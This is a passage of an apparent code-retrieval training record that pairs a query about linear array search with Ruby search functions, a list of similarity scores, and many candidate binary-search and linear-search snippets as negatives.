"def bsearch(arr, target)\n return nil if arr.length == 1 && arr[0] != target\n mid_i = arr.length / 2\n return mid_i if arr[mid_i] == target\n\n low_arr = arr[0...mid_i]\n high_arr = arr[mid_i+1..-1]\n\n if arr[mid_i] > target\n bsearch(low_arr, target) \n elsif bsearch(high_arr, target) != nil\n low_arr.length + 1 + bsearch(high_arr, target)\n end\n\nend",
"def binary_search(target, collection, min_index = 0, max_index = collection.size - 1)\n return nil if collection.empty?\n loop do\n return nil if max_index < min_index\n index_to_check = mid_point(min_index, max_index)\n return index_to_check if collection[index_to_check] == target\n min_index = index_to_check + 1 if collection[index_to_check] < target\n max_index = index_to_check - 1 if collection[index_to_check] > target\n end\nend",
"def search_insert(nums, target)\n left = 0\n right = nums.length - 1\n\n while left <= right\n mid = left + (right - left ) / 2\n if nums[mid] == target\n return mid\n elsif nums[mid] > target\n right = mid - 1\n else\n left = mid + 1\n end\n end\n return left\nend",
"def search_insert(nums, target)\n nums.each_with_index do |num, index|\n return index if num >= target\n end\n \n return nums.size\nend",
"def bsearch(arr, target)\n if arr.length == 1 \n if arr[0] == target\n return 0\n else\n return nil\n end\n end\n arr.sort!\n middle = arr.length / 2\n left = arr[0...middle]\n right = arr[middle + 1..-1]\n if arr[middle] == target\n return middle\n elsif arr[middle] < target\n if bsearch(right, target).nil?\n return nil\n # else\n return left.length + 1 + bsearch(right, target)\n end\n else \n bsearch(left, target)\n end\nend",
"def search(array, index_target)\r\n\tindex = 0 \r\n\t\r\nwhile index < array.length \r\n\tif array[index] == index_target\r\n\t\treturn index \r\n\telse \r\n\t\tnil \r\n\tend\r\n\tindex += 1 \r\nend \r\nend",
"def do_search(target_value, array)\n min = 0\n max = array.length - 1\n\n binary_search(target_value, array, min, max)\nend",
"def bs(array, target)\n start = 0\n endp = array.length \n \n while start <= endp\n mid = start + (endp - start)/2\n \n if array[mid] == target\n return mid\n end\n\n if array[mid] < target \n start = mid + 1 \n else\n endp = mid - 1\n end\n end\n return 'Not found' \nend",
"def search_range(nums, target)\n left = search(target, nums, :left)\n return [-1, -1] if left == -1\n [left, search(target, nums, :right)]\nend",
"def bsearch(arr, target)\n i = 0\n j = arr.length - 1\n while i <= j\n m = (i + j) / 2\n if target < arr[m]\n j = m - 1\n elsif target > arr[m]\n i = m + 1\n elsif target == arr[m]\n return m\n end\n end\n -1\nend",
"def bsearch(arr, target)\n return nil if arr.empty?\n middle_idx = (arr.length/2) # odd_arrays = direct middle, even arrays = HIGHER MIDDLE\n if arr[middle_idx] == target\n return middle_idx\n elsif arr[middle_idx] > target\n bsearch(arr[0...middle_idx], target)\n else\n idx = bsearch(arr[(middle_idx+1)..-1], target)\n if idx.is_a?(Fixnum)\n idx + middle_idx + 1\n else\n nil\n end\n end\nend",
"def bsearch(array, target)\n return nil if array.empty?\n\n middle_idx = array.length / 2\n if array[middle_idx] == target\n return middle_idx\n elsif array[middle_idx] > target\n bsearch(array[0...middle_idx], target)\n else\n result = bsearch(array[(middle_idx+1)..-1], target)\n if result.is_a?(Fixnum)\n result + middle_idx + 1\n else\n nil\n end\n end\nend",
"def bsearch(sorted_array, target)\n return nil if sorted_array.empty?\n \n i_mid = (sorted_array.length-1) / 2\n mid = sorted_array[i_mid]\n \n if target == mid\n i = i_mid\n elsif target < mid\n i = bsearch(sorted_array[0...i_mid], target)\n else\n i = bsearch(sorted_array[i_mid + 1..-1], target)\n i += mid + 1 if i\n end\n \n i\nend",
"def bsearch(arr, target)\n if arr.length < 1 # empty array, returns nil\n return nil\n end\n \n # multiple elements, grab middle and compare\n middle_index = arr.length / 2\n middle_element = arr[middle_index]\n case target <=> middle_element\n when -1 # target smaller, check left half\n new_arr = arr[0...middle_index]\n bsearch(new_arr, target)\n when 1\n new_arr = arr[middle_index+1..-1]\n answer = bsearch(new_arr, target)\n return nil if answer.nil?\n answer + middle_index + 1\n when 0\n return middle_index\n end\nend",
"def binary_search_iterative(array, target)\n# declare variables for low and high positions\nlow_index = 0\nhigh_index = array.length - 1\nmid_index = (high_index + low_index) / 2\n\n# while the low is less than the high\nwhile low_index <= high_index do\n\n return mid_index if target == array[mid_index]\n\n puts \"#{low_index} #{mid_index} #{high_index}\"\n\n if low_index == mid_index\n return high_index\n elsif target > array[mid_index]\n # move lower bound up to mid, recalculate new mid\n low_index = mid_index\n # set the high halfway between\n mid_index = (low_index + high_index) / 2\n elsif target < array[mid_index]\n # move upper bound to mid, recalculate new mid\n high_index = mid_index\n mid_index = (low_index + high_index) / 2\n end\n end\nend",
"def search_insert(nums, target)\r\n\r\n # iterate over array until target's position is found\r\n (0..nums.length-1).each do |i|\r\n if nums[i] >= target\r\n return i\r\n end\r\n end\r\n\r\n # if target is bigger than all elements in array, target belongs at the end\r\n return nums.length\r\n\r\nend",
"def search(array, target)\n low = 0\n high = array.length - 1\n\n if low <= high\n @count += 1\n mid = (low + high) / 2\n if array[mid] < target # Right Half\n @origin = @origin[mid+1..-1]\n search(array[mid+1..-1], target)\n elsif array[mid] > target # Left Half\n @origin = @origin[0..mid-1]\n search(array[0..mid-1], target)\n else\n @origin = @origin[mid]\n return array[mid]\n end\n end\n end",
"def linear_search(array, target)\n for i in 0...array.length\n if array[i] == target\n return i\n end\n end\n\n return -1\nend",
"def bsearch(arr, target)\n return nil if arr.length < 1\n # return nil if target > arr.max || target < arr.min\n compare_index = arr.length / 2\n match = target <=> arr[compare_index]\n case match\n when -1\n bsearch(arr.take(compare_index), target)\n when 0\n compare_index\n else\n result = bsearch(arr.drop(compare_index+1), target)\n return nil if result.nil?\n result + compare_index + 1\n end\nend",
"def bsearch(array, target)\n return nil if array.empty?\n\n mid_idx = array.length / 2\n mid_ele = array[mid_idx]\n\n return mid_idx if target == mid_ele\n\n if target < mid_ele\n sub_arr = array[0...mid_idx]\n return bsearch(sub_arr, target)\n else\n sub_arr = array[mid_idx + 1..-1]\n next_search = bsearch(sub_arr, target)\n return nil if next_search == nil\n return mid_idx + 1 + next_search\n end\nend",
"def binary_search_recursive_destructive(array, target)\n\n low = 0\n high = array.length - 1\n mid = (low + high) / 2\n\n binding.pry\n\n return true if target == array[mid] # the target is found\n return false if array[mid] == nil # the target doesn't exist\n\n # reduce the search area && call recursively\n if target > array[mid]\n new_array = array[(mid + 1)..high]\n binary_search_recursive_destructive(new_array, target)\n elsif target < array[mid]\n new_array = array[low..(mid - 1)]\n binary_search_recursive_destructive(new_array, target)\n end\n\nend",
"def bsearch(array, target)\n middle_idx = array.length / 2\n middle = array[middle_idx]\n\n return middle_idx if target == middle\n return nil if array.length == 1\n if target < middle\n return bsearch(array[0...middle_idx], target)\n elsif target > middle\n b_searched = bsearch(array[middle_idx..-1], target)\n if b_searched == nil\n return nil\n else\n return middle_idx + b_searched\n end\n end\nend",
"def linear_search(array, target)\n for i in 0..(array.length - 1)\n if array[i] == target\n return i\n end\n end\n return -1\nend",
"def bsearch(arr, target, sorted = false)\n debugger\n if arr.length == 1\n arr == target ? (return arr) : (return nil)\n end\n arr = arr.quicksort unless sorted\n search = arr[arr.length/2]\n case search <=> target\n when -1\n return bsearch(arr[0...search], target, true)\n when 0\n return true\n when 1\n return bsearch(arr[search + 1] , target, true)\n end\n\n\nend",
"def bsearch(arr, target)\r\n return false if arr.length == 0\r\n\r\n mid = arr.length/2\r\n\r\n return mid if arr[mid] == target\r\n if arr[mid] > target\r\n found = bsearch(arr[mid+1..-1], target)\r\n found + mid + 1 unless found == false\r\n else\r\n bsearch(arr[0...mid], target)\r\n end\r\n false\r\nend",
"def binary_search(arr,tar)\n return nil if arr.length < 1\n mid_idx = arr.length / 2\n if arr[mid_idx] == tar\n return mid_idx\n elsif arr[mid_idx] > tar\n binary_search(arr[0...mid_idx],tar)\n elsif arr[mid_idx] < tar\n subanswer = binary_search(arr[mid_idx+1..-1],tar)\n subanswer.nil? ? nil : (mid_idx+1) + subanswer\n end\nend",
"def bsearch(array, target)\n # compare target value to middle element\n #if target value is == to middle elements value\n #return the position and end\n # if target value is less than middle value seach lower half of array\n # same goes for greater than (search upper half)\n # when it searches lower or upper half it keeps the same logic as the beginning\n # nil if not found; can't find anything in an empty array\n return nil if array.empty?\n\n index = array.length / 2\n # spaceship operator magic!\n case target <=> array[index]\n when -1 #search left side\n bsearch(array.take(index), target)\n when 0\n index\n when 1 #search right side\n answer = bsearch(array.drop(index + 1), target)\n answer.nil? ? nil : index + 1 + answer\n end\nend",
"def bsearch(arr, target)\n return -1 if arr.empty?\n left = 0\n right = arr.length - 1\n bsearch_helper(arr, target, left, right)\nend",
"def binary_search(arry, target)\n return \"Empty Array\" if arry.size < 1\n lower_limit = 0\n upper_limit = arry.size - 1\n search_string = binary_search_with_limits(arry, target, lower_limit, upper_limit)\nend",
"def bsearch(array, target)\n return nil if array.empty?\n\n n = array.size / 2\n bottom = array[0...n]\n mid = array[n]\n top = array[n + 1..-1]\n\n if target < mid\n bsearch(bottom, target)\n elsif target > mid\n top_search = bsearch(top, target)\n top_search.nil? ? nil : top_search + bottom.size + 1\n else\n mid == target ? n : nil\n end\nend",
"def bsearch(array, target)\n return nil if !array.include?(target)\n arr = array.sort\n\n mid = arr.length / 2\n\n\n if arr[mid] == target\n return mid\n elsif arr[mid] < target\n mid + bsearch(arr[mid..-1], target)\n else\n bsearch(arr[0..mid-1], target)\n end\nend",
"def bsearch(arr,target)\n# p arr\nreturn nil if arr.length==1 && target != arr[0]\nmid =arr.length/2 # 3,1,1,0\n# if arr.length==1 && arr[0] != target\n# return nil\n# end\n\n\nif target==arr[mid]\n\nreturn mid\nelsif target<arr[mid]\n left_index = 0\n right_index = mid-1\n return bsearch(arr[left_index..right_index],target)\n# return bsearch(arr.take(mid),target)\nelse\n left_index = mid+1\n right_index = arr.length-1\n sub_position=bsearch(arr[left_index..right_index],target)\n # sub_position=bsearch(arr.drop(mid+1),target)\n return sub_position.nil? ? nil : (mid+1)+sub_position \n\nend\nend",
"def bsearch(array, target)\n\n return nil unless array.include?(target)\n\n middle = (array.length - 1) / 2\n return middle if target == array[middle]\n\n if target < array[middle]\n bsearch(array[0...middle], target)\n elsif target > array[middle]\n middle + 1 + bsearch(array[(middle + 1)..-1], target)\n end\nend",
"def search_insert_log(nums, target)\n left = 0\n right = nums.length - 1\n\n while left <= right\n mid = left + ((right - left) / 2)\n\n return mid if nums[mid] == target\n\n if target > nums[mid]\n left = mid + 1\n else\n right = mid - 1\n end\n end\n left\nend",
"def two_sum_ptr(nums, target)\n low, high = 0, nums.length - 1\n while( low < high)\n if(nums[low] + nums[high] == target)\n return [low + 1, high + 1]\n elsif nums[low] + nums[high] < target\n low += 1\n else\n high -= 1\n end\n end\nend",
"def bsearch(array, target)\n return nil if array.length <= 1 && array[0] != target\n\n mid_idx = (array.length - 1) / 2\n if array[mid_idx] == target\n mid_idx\n elsif array[mid_idx] < target\n response = bsearch(array[(mid_idx + 1)..-1], target)\n response.nil? ? nil : response + mid_idx + 1\n else\n bsearch(array[0...mid_idx], target)\n end\nend",
"def find(array, target)\n array.each_with_index do |element,index|\n return index if (element == target)\n end\n nil\nend",
"def bsearch(array, target)\n mid_idx = array.length / 2\n if array[mid_idx] == target\n mid_idx\n elsif array.length == 1\n nil\n elsif array[mid_idx] > target\n bsearch(array[0...mid_idx], target)\n elsif array[mid_idx] < target\n after_mid_idx = mid_idx + 1\n recursion = bsearch(array[after_mid_idx..-1], target)\n recursion.nil? ? nil : after_mid_idx + recursion\n end\nend",
"def sparse_search(array, target)\n return nil if array.length == 0\n mid_idx = array.length/2\n left_array = array.take(mid_idx)\n right_array = array.drop(mid_idx)\n compare = compare_right(right_array, target)\n # could compare left and right first terms to speed up the nil case\n if compare == \"left\" || compare.nil?\n left = sparse_search(left_array, target)\n left if left\n elsif compare == \"right\"\n right = sparse_search(right_array, target)\n mid_idx + right if right\n else\n mid_idx + compare\n end\nend",
"def two_sum(nums, target)\n sorted_nums = nums.sort\n\n last_index = sorted_nums.size - 1\n first_index = 0\n\n while true do\n if sorted_nums[last_index] + sorted_nums[first_index] > target\n last_index -= 1\n\n next\n end\n\n smaller_have_to_be = target - sorted_nums[last_index]\n\n while true do\n if sorted_nums[first_index] < smaller_have_to_be\n first_index += 1\n\n next\n end\n\n break\n end\n\n if sorted_nums[first_index] != smaller_have_to_be\n last_index -= 1\n next\n end\n\n break\n end\n\n # Find correct indexes ( because that indexs in sorted array )\n\n result = []\n nums.each_with_index do |number, index|\n if [sorted_nums[first_index], sorted_nums[last_index]].include?(number)\n result.push(index)\n end\n end\n\n result\nend"
] | [
"0.86517495",
"0.8379405",
"0.81462884",
"0.8144708",
"0.794463",
"0.78020096",
"0.7797183",
"0.77851063",
"0.7719615",
"0.77196014",
"0.7711477",
"0.7692617",
"0.7687563",
"0.76829803",
"0.7676202",
"0.76682353",
"0.7660379",
"0.7660379",
"0.7649494",
"0.76413953",
"0.762154",
"0.7617419",
"0.7615616",
"0.7601422",
"0.75818425",
"0.7577275",
"0.7564444",
"0.75369376",
"0.7499334",
"0.748712",
"0.74773484",
"0.74715024",
"0.74661165",
"0.7454959",
"0.744056",
"0.74283415",
"0.7410568",
"0.73922724",
"0.73867846",
"0.73821706",
"0.7369296",
"0.73623073",
"0.7357116",
"0.7347981",
"0.73362875",
"0.7335963",
"0.73322904",
"0.73280615",
"0.73256856",
"0.731966",
"0.7302595",
"0.7283712",
"0.72714794",
"0.72614574",
"0.72576314",
"0.7250904",
"0.7250092",
"0.7223552",
"0.72205335",
"0.7217355",
"0.7202016",
"0.7182541",
"0.7165995",
"0.7165723",
"0.7151261",
"0.7148452",
"0.71127343",
"0.71103233",
"0.71051586",
"0.71025956",
"0.7101753",
"0.70997447",
"0.7093339",
"0.70815915",
"0.7069414",
"0.7068184",
"0.7067487",
"0.7064477",
"0.70449644",
"0.70140463",
"0.7010892",
"0.6971009",
"0.69704306",
"0.6966378",
"0.69615954",
"0.69595355",
"0.69483805",
"0.6945436",
"0.6941377",
"0.69403446",
"0.69266397",
"0.6921115",
"0.6918661",
"0.69081855",
"0.6901113",
"0.6898641",
"0.6891582",
"0.6881493",
"0.686556",
"0.68585485"
] | 0.86788327 | 0 |
Approach 2: Time complexity: O(n) implementation This approach traverses the entire array until it finds the target value. | def search(nums, target)
nums.each_with_index do |num, index|
return index if num == target
end
-1
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def search_target(nums, target)\n return -1 if nums.empty? || !target\n start_ind = 0\n last_ind = nums.size - 1\n mid = (start_ind + last_ind) / 2\n\n #having condition as start_ind + 1 < last_ind will be helpful in find first/last position in function\n #also avoid infinite loop when the array only has two elements\n while start_ind + 1 < last_ind do \n mid = start_ind + (last_ind - start_ind) / 2\n if (nums[mid] == target)\n last_ind = mid\n elsif nums[mid] > target\n last_ind = mid\n else\n start_ind = mid\n end\n end\n\n #find first position\n #if we wanna find the last position, check last_ind first\n if nums[start_ind] == target\n return start_ind\n end\n\n if nums[last_ind] == target\n return last_ind\n end\n\n return -1\nend",
"def search_array(integers, target)\n idx = 0\n\n while idx < integers.length\n if integers[idx] == target\n return idx\n elsif idx == integers.length\n nil\n else\n idx += 1\n end\n end\nend",
"def do_search(target_value, array)\n min = 0\n max = array.length - 1\n\n binary_search(target_value, array, min, max)\nend",
"def find_index(array, target)\n index = 0\n found_index = nil\n\n array.each do |element|\n if element == target\n found_index = index\n end\n index += 1\n end\n\n found_index\nend",
"def mystery_method_iterative(arr, val)\n\n # Returns nothing if no array or an empty array is passed\n return nil if arr.nil? || arr.length == 0\n\n # Determine middle, \"low\" index, and \"high\" index points\n mid = arr.length / 2\n l = 0\n h = arr.length - 1\n\n # Iterate through the extent of indices in the array starting at the beginning\n while l <= h\n\n # First check, does value at middle index equal our target `val`, if so return for a\n # quick win. Index found.\n if arr[mid] == val\n return mid\n\n # Second, is our middle index's value less than target `val`, check the first half\n # of the array.\n elsif arr[mid] < val\n l = mid + 1\n mid = (l + h) / 2\n\n # Otherwise, check the second half of the array\n else\n h = mid - 1\n mid = (l + h) / 2\n end\n\n end\n\n return mid\nend",
"def binary_search_recursive_destructive(array, target)\n\n low = 0\n high = array.length - 1\n mid = (low + high) / 2\n\n binding.pry\n\n return true if target == array[mid] # the target is found\n return false if array[mid] == nil # the target doesn't exist\n\n # reduce the search area && call recursively\n if target > array[mid]\n new_array = array[(mid + 1)..high]\n binary_search_recursive_destructive(new_array, target)\n elsif target < array[mid]\n new_array = array[low..(mid - 1)]\n binary_search_recursive_destructive(new_array, target)\n end\n\nend",
"def bs(array, target)\n start = 0\n endp = array.length \n \n while start <= endp\n mid = start + (endp - start)/2\n \n if array[mid] == target\n return mid\n end\n\n if array[mid] < target \n start = mid + 1 \n else\n endp = mid - 1\n end\n end\n return 'Not found' \nend",
"def linear_search(array, target)\n for i in 0..(array.length - 1)\n if array[i] == target\n return i\n end\n end\n return -1\nend",
"def linear_search(array, target)\n for i in 0...array.length\n if array[i] == target\n return i\n end\n end\n\n return -1\nend",
"def search(array, index_target)\r\n\tindex = 0 \r\n\t\r\nwhile index < array.length \r\n\tif array[index] == index_target\r\n\t\treturn index \r\n\telse \r\n\t\tnil \r\n\tend\r\n\tindex += 1 \r\nend \r\nend",
"def search(array, length, value_to_find)\n value_found = false\n unless value_found == true\n index = 0\n length.times do\n if array[index] == value_to_find\n value_found = true\n else\n index += 1\n end\n end\n end\n return value_found\nend",
"def find_target_sum_arrays(arr, target)\n helper(arr, target, arr.length - 1, [], 0)\nend",
"def binary_search(arr, target)\n binary_search_helper(arr, target, 0, arr.length - 1)\nend",
"def binary_search(arr, target)\n return nil if arr.empty?\n probe_index = arr.size / 2\n probe_ele = arr[probe_index]\n\n case probe_ele <=> target\n when 1\n left_arr = arr.take(probe_index) \n return binary_search(left_arr,target)\n when 0 \n return probe_index\n when -1\n compensated_index = (probe_index + 1)\n right_arr = arr.drop(compensated_index)\n return nil if binary_search(right_arr,target).nil?\n return binary_search(right_arr,target) + compensated_index\n end\nend",
"def slow_dance(target, array)\n\n array.each.with_index do |phrase, i|\n return i if array[i] == target \n end \n end",
"def find_element(array, target, low, high)\n return -1 if high < low\n mid = (low + high)/2\n return mid if target == array[mid]\n if array[low] <= array[mid]\n if target >= array[low] && target <= array[mid]\n return find_element(array, target, low, mid-1)\n end\n return find_element(array, target, mid+1, high)\n end\n if target >= array[mid] && target <= array[high]\n return find_element(array, target, mid+1, high)\n end\n return find_element(array, target, low, mid-1)\nend",
"def find_target(nums, target)\n return -1 if nums.empty? || !target\n start_ind = 0\n last_ind = nums.size - 1\n\n while (start_ind + 1 < last_ind) do\n mid = start_ind + (last_ind - start_ind) / 2\n\n if nums[mid] == target\n return mid\n end\n\n if nums[start_ind] < nums[mid]\n if nums[start_ind] <= target && target <= nums[mid]\n last_ind = mid\n else\n start_ind = mid\n end\n else\n if nums[mid] <= target && target <= nums[last_ind]\n start_ind = mid\n else\n last_ind = mid\n end\n end\n end\n\n return start_ind if nums[start_ind] == target\n return last_ind if nums[last_ind] == target\n return -1\nend",
"def bsearch(array, target)\n return nil if array.length == 1 && target != array[0]\n idx = array.length / 2\n mid_ele = array[idx]\n\n if target == mid_ele\n return idx\n elsif target < mid_ele\n return bsearch(array[0...idx], target)\n else\n if bsearch(array[idx+1..-1], target).nil?\n return nil\n else\n return idx + 1 + bsearch(array[idx+1..-1], target)\n end\n end\nend",
"def bsearch(array, target)\n return nil if array.empty?\n\n mid_idx = array.length / 2\n mid_ele = array[mid_idx]\n\n return mid_idx if target == mid_ele\n\n if target < mid_ele\n sub_arr = array[0...mid_idx]\n return bsearch(sub_arr, target)\n else\n sub_arr = array[mid_idx + 1..-1]\n next_search = bsearch(sub_arr, target)\n return nil if next_search == nil\n return mid_idx + 1 + next_search\n end\nend",
"def num_occur(array, target)\n return 0 if array.empty?\n next_step = num_occur(array.drop(1), target)\n \n if array.first == target\n 1 + next_step\n else\n next_step\n end\nend",
"def search(array, value)\n new_array_minus_one = 0..-2\n\n if array.empty? \n return false \n elsif array[-1] == value\n return true \n else \n search(array[new_array_minus_one], value)\n end \nend",
"def search_bool(arr, target)\n return false if arr.empty?\n\n half = arr.length / 2\n return true if arr[half] == target\n\n if target < arr[half]\n search_bool(arr[0...half], target)\n else\n search_bool(arr[(half + 1)...arr.length], target)\n end\nend",
"def find_item(array, target)\n array.select do |elem| elem== target\n return array.index(target)+1\n end\n\n\n\n\nend",
"def rec_bin_search(array, target)\n return nil if array.length == 0\n\n midpoint = array.length / 2\n\n return midpoint if array[midpoint] == target\n\n if target < array[midpoint]\n rec_bin_search(array.take(midpoint), target)\n else\n top = rec_bin_search(array.drop(midpoint + 1), target)\n top == nil ? nil : top + (midpoint + 1)\n end\nend",
"def search(array, target)\n low = 0\n high = array.length - 1\n\n if low <= high\n @count += 1\n mid = (low + high) / 2\n if array[mid] < target # Right Half\n @origin = @origin[mid+1..-1]\n search(array[mid+1..-1], target)\n elsif array[mid] > target # Left Half\n @origin = @origin[0..mid-1]\n search(array[0..mid-1], target)\n else\n @origin = @origin[mid]\n return array[mid]\n end\n end\n end",
"def search_array(arr, x)\n index_count = 0\n index_result = 0\n until index_count == arr.length\n if arr[index_count] == x\n index_result = index_count\n end\n index_count += 1\n end\n search_array = index_result\nend",
"def binary_search(arr, target, idx_puls = 0)\n mid = arr.length / 2\n return mid + idx_puls if arr[mid] == target\n return nil if arr.length == 1\n\n if arr[mid] < target\n binary_search(arr[(mid + 1)..-1], target, mid + 1)\n else\n binary_search(arr[0...mid], target, idx_puls)\n end\n\nend",
"def simple_linear_search(array, value)\n array.each do |element|\n return value if element == value\n break \"Not in array\" if element > value\n end\n \"Not in array\"\nend",
"def bsearch(sorted_array, target)\n return nil if sorted_array.empty?\n \n i_mid = (sorted_array.length-1) / 2\n mid = sorted_array[i_mid]\n \n if target == mid\n i = i_mid\n elsif target < mid\n i = bsearch(sorted_array[0...i_mid], target)\n else\n i = bsearch(sorted_array[i_mid + 1..-1], target)\n i += mid + 1 if i\n end\n \n i\nend",
"def bsearch(arr, target)\n return nil if arr.length == 1 && arr[0] != target\n mid_i = arr.length / 2\n return mid_i if arr[mid_i] == target\n\n low_arr = arr[0...mid_i]\n high_arr = arr[mid_i+1..-1]\n\n if arr[mid_i] > target\n bsearch(low_arr, target) \n elsif bsearch(high_arr, target) != nil\n low_arr.length + 1 + bsearch(high_arr, target)\n end\n\nend",
"def search_insert(nums, target)\r\n\r\n # iterate over array until target's position is found\r\n (0..nums.length-1).each do |i|\r\n if nums[i] >= target\r\n return i\r\n end\r\n end\r\n\r\n # if target is bigger than all elements in array, target belongs at the end\r\n return nums.length\r\n\r\nend",
"def binary_search(array, target)\n lower_bound = 0\n upper_bound = array.length - 1\n while lower_bound <= upper_bound\n midpoint = (lower_bound + upper_bound) / 2\n value_at_midpoint = array[midpoint]\n if target = value_at_midpoint\n return midpoint\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n end\n end\n return nil\nend",
"def find_element_index(array, value_to_find)\n i=0 \n k = value_to_find\n while i<array.length do\n if array[i]==k\n number=i \n i+=1 \n else \n i+=1 \n end\n end\n return number\nend",
"def bsearch(array, target)\n return nil if array.length <= 1 && array[0] != target\n\n mid_idx = (array.length - 1) / 2\n if array[mid_idx] == target\n mid_idx\n elsif array[mid_idx] < target\n response = bsearch(array[(mid_idx + 1)..-1], target)\n response.nil? ? nil : response + mid_idx + 1\n else\n bsearch(array[0...mid_idx], target)\n end\nend",
"def search(array, value)\n return true if array[-1] == value\n return false if array.length <= 1\n return search(array[0...-1], value)\nend",
"def binary_search(arr, target)\n return nil if !arr.include?(target)\n middle_ele = arr[arr.length / 2]\n middle_idx = arr.length / 2\n if target == middle_ele\n return middle_idx\n elsif target > middle_ele\n binary_search(arr[middle_idx+1..-1], target) + arr[0..middle_idx].length\n else\n binary_search(arr[0...middle_idx], target)\n end\nend",
"def binary_search(target, array)\r\n\t#Your code here\r\n\tindex = array.length / 2\r\n\tlo = 0\r\n\thi = array.length - 1\r\n\twhile array[index] != target && array.include?(target)\r\n\t\tif array[index] > target\r\n\t\t\thi = index - 1\r\n\t\t index = (lo + hi) / 2\r\n\t\telsif array[index] < target\r\n\t\t\tlo = index + 1\r\n\t\t\tindex = (lo + hi) / 2\r\n\t\tend\r\n\tend\r\n\tif array[index] == target\r\n\t\treturn index\r\n\telse\r\n\t\treturn -1\r\n\tend \r\nend",
"def bsearch(arr, target)\n i = 0\n j = arr.length - 1\n while i <= j\n m = (i + j) / 2\n if target < arr[m]\n j = m - 1\n elsif target > arr[m]\n i = m + 1\n elsif target == arr[m]\n return m\n end\n end\n -1\nend",
"def num_occur(array, target)\n array[0] == target ? val = 1 : val = 0\n return val if array.length == 1\n\n val + num_occur(array.drop(1), target)\nend",
"def find_element_index(array, value_to_find)\n counter = 0 \n \n while counter < array.length do\n if array[counter] == value_to_find\n return counter\n end \n counter += 1 \n end \nend",
"def search(array, value)\n return false if array.length == 0\n if array.shift == value\n return true\n else\n search(array,value)\n end\nend",
"def search(arr, target)\n left = 0\n right = arr.length - 1\n\n while left <= right\n mid = (left + right ) / 2\n\n return mid if arr[mid] == target\n\n if arr[mid] < target\n left = mid + 1\n else\n right = mid - 1\n end\n end\n\n return -1\nend",
"def big_eles(arr, target)\n # new array variable\n # loop through array \n # compare each ele in arr to target\n # if greater than or equal target, add to new array\n # return new array\n\n big_arr = []\n arr.each do |num|\n if num >= target\n big_arr << num\n end\n end\n return big_arr\n\n # return arr.select {|num| num >= target}\nend",
"def search(target)\n i = @array.bsearch_index { |ele| ele >= target }\n !!i && @array[i] == target\n end",
"def linear_search(object, array)\n i = 0\n until array[i] == object || array[i] == nil\n i += 1\n end\n array[i] == object ? i : nil\n end",
"def binary_search(array, target)\n return nil if array.empty?\n\n middle_idx = array.length/2\n\n case target <=> array[middle_idx]\n\n when -1\n binary_search(array.take(middle_idx), target)\n when 0\n return middle_idx\n when 1\n binary_search(array[middle_idx..-1], target)\n end\n\nend",
"def search(array, value)\n if array.length == 0\n return false\n end\n if value == array[0]\n return true\n else\n return search(array[1..-1], value)\n end\nend",
"def search(array, value)\n return false if array.empty?\n return true if value == array.first\n return search(array[1..-1], value)\nend",
"def find_dup(array)\n while array.size > 0\n el = array.shift\n array.each do |val|\n return el if val == el\n end\n end\nend",
"def binary_search(array, target)\n mid = array.length / 2\n\n if target < array[mid]\n binary_search(array[0...mid], target)\n elsif value > array[mid]\n function = binary_search(array[mid + 1..-1], target)\n function.nil? ? nil : function + mid + 1\n else\n return mid\n end\nend",
"def search(array, value)\n return false if array.empty?\n return true if value == array[0]\n return search(array[1..-1], value)\nend",
"def includes?(array, target)\n #empty array does not contain object\n return false if array == []\n\n #start with array[3]\n value = array.shift #pluck off\n if value == target\n true #the recursive call is not made\n else\n includes?(array, target)\n end\n\nend",
"def search_array(array, value)\n idx = 0\n array.each do\n if array[idx] == value \n return idx\n end\n idx += 1\n if idx == array.length\n print \"nil\"\n return nil\n end\n end\nend",
"def bsearch(array, target)\n\n return nil unless array.include?(target)\n\n middle = (array.length - 1) / 2\n return middle if target == array[middle]\n\n if target < array[middle]\n bsearch(array[0...middle], target)\n elsif target > array[middle]\n middle + 1 + bsearch(array[(middle + 1)..-1], target)\n end\nend",
"def shifted_binary_search(arr, target)\n shifted_binary_search_helper(arr, target, 0, arr.length - 1)\nend",
"def shifted_binary_search(arr, target)\n shifted_binary_search_helper(arr, target, 0, arr.length - 1)\nend",
"def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end",
"def bsearch(arr, target)\n return nil if arr.empty?\n mid_idx = arr.length / 2\n pivot = arr[mid_idx]\n return mid_idx if pivot == target\n if pivot > target\n bsearch(arr[0...mid_idx], target)\n else\n result = bsearch(arr[mid_idx + 1..-1], target)\n if result == nil\n nil\n else\n mid_idx + 1 + result\n end\n end\nend",
"def search(array, value)\n if array.empty?\n return false\n elsif array.shift == value\n return true\n else\n return search(array, value)\n end\nend",
"def find_element_index(array, value_to_find)\n array.length.times do |index|\n if array[index] == value_to_find\n return index\n end\n end\n nil\nend",
"def search(array, value)\n if array.empty?\n return false\n else\n if array[0] == value\n return true\n else\n array.shift\n return search(array, value)\n end\n end\nend",
"def bsearch(arr, target)\n return nil if arr.length < 1\n # return nil if target > arr.max || target < arr.min\n compare_index = arr.length / 2\n match = target <=> arr[compare_index]\n case match\n when -1\n bsearch(arr.take(compare_index), target)\n when 0\n compare_index\n else\n result = bsearch(arr.drop(compare_index+1), target)\n return nil if result.nil?\n result + compare_index + 1\n end\nend",
"def search_array2(ary, target)\n i = 0\n match = nil\n ary.each do |x|\n case\n when x == target then match = i\n else i += 1\n end\n end\n p match\nend",
"def binary_search(array, target)\n lower_bound = 0\n upper_bound array.length - 1\n while lower_bound <= upper_boud do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint]\n if target == value_at_midpoint\n return midpoint\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end\n return nil\nend",
"def bsearch(arr, target)\n return nil if arr.empty?\n mid = arr.length / 2\n return mid if arr[mid] == target\n\n if target < arr[mid]\n bsearch(arr[0...mid], target)\n else\n result = bsearch(arr[mid + 1..-1], target)\n result.nil? ? nil : mid + 1 + result\n end\nend",
